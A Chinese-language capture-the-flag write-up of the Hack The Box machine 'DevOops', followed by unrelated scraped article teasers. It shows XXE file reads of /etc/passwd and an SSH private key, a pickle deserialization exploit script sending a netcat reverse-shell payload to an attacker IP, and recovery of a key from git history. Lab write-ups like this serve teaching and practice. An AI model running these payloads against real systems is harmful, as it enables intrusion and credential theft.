HTB-DevOops

news2024/11/24 21:40:00

HTB-DevOops

  • 信息收集
    • 5000端口
  • 立足
    • python反序列化攻击
    • XEE读取SSH
  • root

请添加图片描述

信息收集

在这里插入图片描述

在这里插入图片描述

5000端口

根据文字所述,下面的图片是feed.py。
在这里插入图片描述
目录扫描
在这里插入图片描述
/upload如下:
在这里插入图片描述
上传测试xml文件。
在这里插入图片描述
得到反馈
在这里插入图片描述
怀疑是标签不匹配,尝试寻找匹配的标签。前面首页有提示:XML elements: Author, Subject, Content
在这里插入图片描述
构造XML如下:

<?xml version="1.0" encoding="UTF-8"?>
<channel>
<Author>Aster</Author>
<Subject>XEE TEST</Subject>
<Content>TEST :)</Content>
</channel>

在这里插入图片描述
XEE利用,外部实体访问/etc/passwd。

在这里插入图片描述

立足

python反序列化攻击

找找看feed.py在哪里,就在当前目录下。
在这里插入图片描述

def uploaded_file(filename):
    return send_from_directory(Config.UPLOAD_FOLDER,
                               filename)

@app.route("/")
def xss():
    return template('index.html')

@app.route("/feed")
def fakefeed():
   return send_from_directory(".","devsolita-snapshot.png")

@app.route("/newpost", methods=["POST"])
def newpost():
  # TODO: proper save to database, this is for testing purposes right now
  picklestr = base64.urlsafe_b64decode(request.data)
#  return picklestr
  postObj = pickle.loads(picklestr)
  return "POST RECEIVED: " + postObj['Subject']


## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')

if __name__ == "__main__":
  app.run(host='0.0.0,0', Debug=True)

有一个/newpost,并且功能是以POST请求访问/newpost,POST的data会被url解码,接着被反序列化。这里存在一个python的反序列化攻击。

import pickle
import requests
from base64 import urlsafe_b64encode 
import os

url = "http://10.10.10.91:5000/newpost"
ip = "10.10.14.31"
port = 443
payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %i >/tmp/f" %(ip,port)
print(payload)

class poc(object):
    def __reduce__(self):
        return (os.system,(payload,))
postdata = urlsafe_b64encode(pickle.dumps(poc()))
print("[*]Sending data:%s" % postdata)
res = requests.post(url,data=postdata)

在这里插入图片描述
在这里插入图片描述

XEE读取SSH

在前面读取/etc/passwd的基础上,进一步读取roosa用户的ssh id_rsa。
在这里插入图片描述
git用户的读取失败。

在这里插入图片描述
在这里插入图片描述
roosa根目录存在gitconfig文件以及run-blogfeed.sh可执行文件run-blogfeed.sh的内容如下:
在这里插入图片描述
知道了blogfeed的路径:/home/roosa/work/blogfeed/src,跟随来到目录。
在这里插入图片描述

root

有.git文件,可能会涉及到git的回滚。使用git log查看commit history。
在这里插入图片描述
使用git diff 1422e5a04d1b52a44e6dc81023420347e257ee5f在最早的commit发现了一个ssh的私钥。
在这里插入图片描述
在这里插入图片描述
可能是ssh的私钥错的,继续看commit,git diff d387abf63e05c9628a59195cec9311751bdb283f

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/461045.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

linux平台移植qt

话不多说直接开干&#xff0c;首先需要下载源码包&#xff0c;进入网址https://download.qt.io/archive/qt/进行下载对应的版本即可&#xff0c;比如我这里下载5.12.12版本的&#xff0c;如下图找到即可。 然后把下载的包放到服务器上进行解压tar xpf qt-everywhere-src-5.12.…

2023PGA塑料行业发展新机遇

什么是PGA塑料? PGA塑料是生物降解塑料中的一种&#xff0c;具有可完全分解的酯结构和降解速度最快的脂肪族聚酯类高分子材料&#xff0c;且无需特定降解条件&#xff0c;同时具有良好的耐高温性、机械强度、降解速率和生物相容性。 从政策面来看&#xff0c;随着中国“限塑…

【问题记录】docker 搭建 minio

一、搭建过程 docker 搜索minio镜像 docker search miniodocker 拉取镜像 docker pull minio/miniodocker 启动 minio docker run -p 9900:9900 --name minio -d --restartalways -e MINIO_ACCESS_KEYminio -e MINIO_SECRET_KEY1qazWSX -v /usr/local/minio/data:/data -v …

【2023软考】信息系统监理师与系统集成项目管理工程师哪个更好考?

肯定是系统集成项目管理工程师更好考。 软考信息系统监理师是一项国家级专业职业资格证书&#xff0c;是我国信息技术行业的重要职业资格之一。软考信息系统监理师主要从事信息系统建设项目的监理和管理工作&#xff0c;包括项目前期准备、项目实施阶段和项目验收阶段的监理和…

Databend 开源周报第 90 期

Databend 是一款现代云数仓。专为弹性和高效设计&#xff0c;为您的大规模分析需求保驾护航。自由且开源。即刻体验云服务&#xff1a;https://app.databend.cn 。 Whats On In Databend 探索 Databend 本周新进展&#xff0c;遇到更贴近你心意的 Databend 。 元数据优化 最…

推荐给工控人的时间管理办法

艾维利时间管理法 Ivy Lee Time Management Act 艾维利时间管理法是一种被广泛采用的时间管理方法&#xff0c;它能够帮助人们更好地利用时间和精力。该方法通过将任务分为三类&#xff0c;即A类、B类和C类&#xff0c;来确定工作的优先级。在这种方法中&#xff0c;A类任务是…

【技术选型】Mysql和ES数据同步方案汇总

文章目录 背景一、Mysql和ES各自的特点为什么选用Mysql为什么选用 ES 二、数据同步方案1、同步双写2、异步双写&#xff08;MQ方式&#xff09;3、基于Mysql表定时扫描同步4、基于Binlog实时同步5、业界目前较为流行的方案&#xff1a;使用canal监听binlog同步数据到es 三、数据…

Java学习笔记-01

目录 jdk安装及环境配置 java前置知识 编写一个HelloWorld 常量 数据类型 变量 类型转换 算数运算符 一元运算符( --) 关系运算符 逻辑运算符(与或非&#xff0c;逻辑异或) 三元(三目)运算符 Scanner类的简单使用 jdk安装及环境配置 看到的一篇文章&#xff0c;…

Vue 过渡与动画的使用

transition 标签的作用&#xff1a;在插入 更新或 移除 DOM 元素时 可以给元素添加动画效果. transition 标签配合的 class 类有&#xff1a; - v-enter:进入的起点。 - v-enter-active:进入时的效果。 - v-enter-to:进入的终点。 - v-leave:离开的起点。 - v-leave-active:离…

USB-C为什么可以取代传统接口?消费类电子产品如何改用TYPE-C接口?

现如今&#xff0c;越来越多的设备选择使用Type-C接口来取代之前传统的接口。例如&#xff1a;手机去掉了之前的Micro USB接口&#xff0c;而选择Type-C&#xff1b;还有好多笔记本也取消了很多传统的传输接口&#xff0c;而采用Type-C来替代它们。那为何Type-C可以取代那么多的…

chatGPT电脑端怎么安装-chatgpt国内怎么用

chatgpt怎么用 ChatGPT是一个大型语言模型&#xff0c;可以用于自然语言生成和理解任务&#xff0c;比如对话系统、文本生成、翻译、摘要等。您可以使用以下步骤来使用ChatGPT: 选择一个平台&#xff1a;ChatGPT可以在不同的平台上运行&#xff0c;比如Python、JavaScript、Jav…

【Java基础练习题】多线程IO流操作实现文件的复制(举一反三)

前言&#xff1a;时不我待&#xff0c;忽而已春&#xff0c;初夏将至。然惊觉自身Java基础仍薄弱不堪&#xff0c;虽“雄关万道真如铁”&#xff0c;只得“万里关山从头越”。把基础打扎实才是根本&#xff0c;对于日后的工作而言也是极为重要。通过不断的学习和理解加上手动实…

使用vue2搭建项目的流程

论坛项目 服务器地址: http://172.16.11.18:9090 http://xawn.f3322.net:10004/ swagger地址: http://172.16.11.18:9090/doc.html http://xawn.f3322.net:10004/doc.html 前端h5地址: http://172.16.11.18:9099/h5/#/ http://xawn.f3322.net:10005/h5/# 前端管理系统…

回文自动机(PAM)入门路线 + P3649 【模板】[APIO2014] 回文串(PAM)

个人比较推荐的回文自动机学习路径&#xff1a; 回文自动机学习博客&#xff1a; 回文树&#xff08;讲的最严谨&#xff0c;oiwiki上的&#xff09; 回文自动机&#xff08;Palindrome Automanton PAM&#xff09;&#xff08;讲的最通俗易懂&#xff0c;知乎上的&#xff09…

Docker快速部署springboot项目

有很多开发者在项目部署过程中都会遇到一些繁琐的问题&#xff0c;比如打包、上传、部署等。而使用Docker可以非常方便地解决这些问题。在本文中&#xff0c;将详细讲解如何使用IDEA中的docker打包插件&#xff0c;将代码打包并直接发布到服务器上。这样&#xff0c;我们就可以…

CSS中的 clip 属性

参考&#xff1a;https://baijiahao.baidu.com/s?id1757136902803734131&wfrspider&forpc 作用&#xff1a; clip 属性用来设置元素的形状&#xff0c;用于剪裁绝对定位的元素。当一幅图像的尺寸大于包含它的元素时&#xff0c;clip 属性允许规定一个元素的可见尺寸…

blender 制作城市建筑模型

我不是很会用blender 但是他可以直接制作一篇区域的建筑模型 BlenderGIS插件 城市建筑3D模型自动生成 教程_Zhichao_97的博客-CSDN博客 学习了两种 一种是通过geo.json自己加了一堆mesh 或者geometry 自己用three 做的模型 另一种是用blender 做一个整个的模型直接导入进去 …

Java企业电子招标采购系统源码Spring Boot + Mybatis + 前后端分离 构建企业电子招采平台之立项流程图

项目说明 随着公司的快速发展&#xff0c;企业人员和经营规模不断壮大&#xff0c;公司对内部招采管理的提升提出了更高的要求。在企业里建立一个公平、公开、公正的采购环境&#xff0c;最大限度控制采购成本至关重要。符合国家电子招投标法律法规及相关规范&#xff0c;以及…

LVS+keepalives高可用负载均衡

keepalived是一个基于vrrp协议来实现的LVS服务高可用方案&#xff0c;可解决静态路由器出现的单点故障问题 解决单点故障。 通过主备来保证高可用性&#xff0c; vrrp回忆 vlan区分广播域&#xff0c;vlan if 虚拟接口 vrrp只有一种报文:Advertisement报文&#xff08;通告…

SparkStreaming学习之——无状态与有状态转化、遍历kafka的topic消息、WindowOperations

目录 一、状态转化 二、kafka topic A→SparkStreaming→kafka topic B (一)rdd.foreach与rdd.foreachPartition (二)案例实操1 1.需求&#xff1a; 2.代码实现&#xff1a; 3.运行结果 (三)案例实操2 1.需求&#xff1a; 2.代码实现&#xff1a; 3.运行结果 三、W…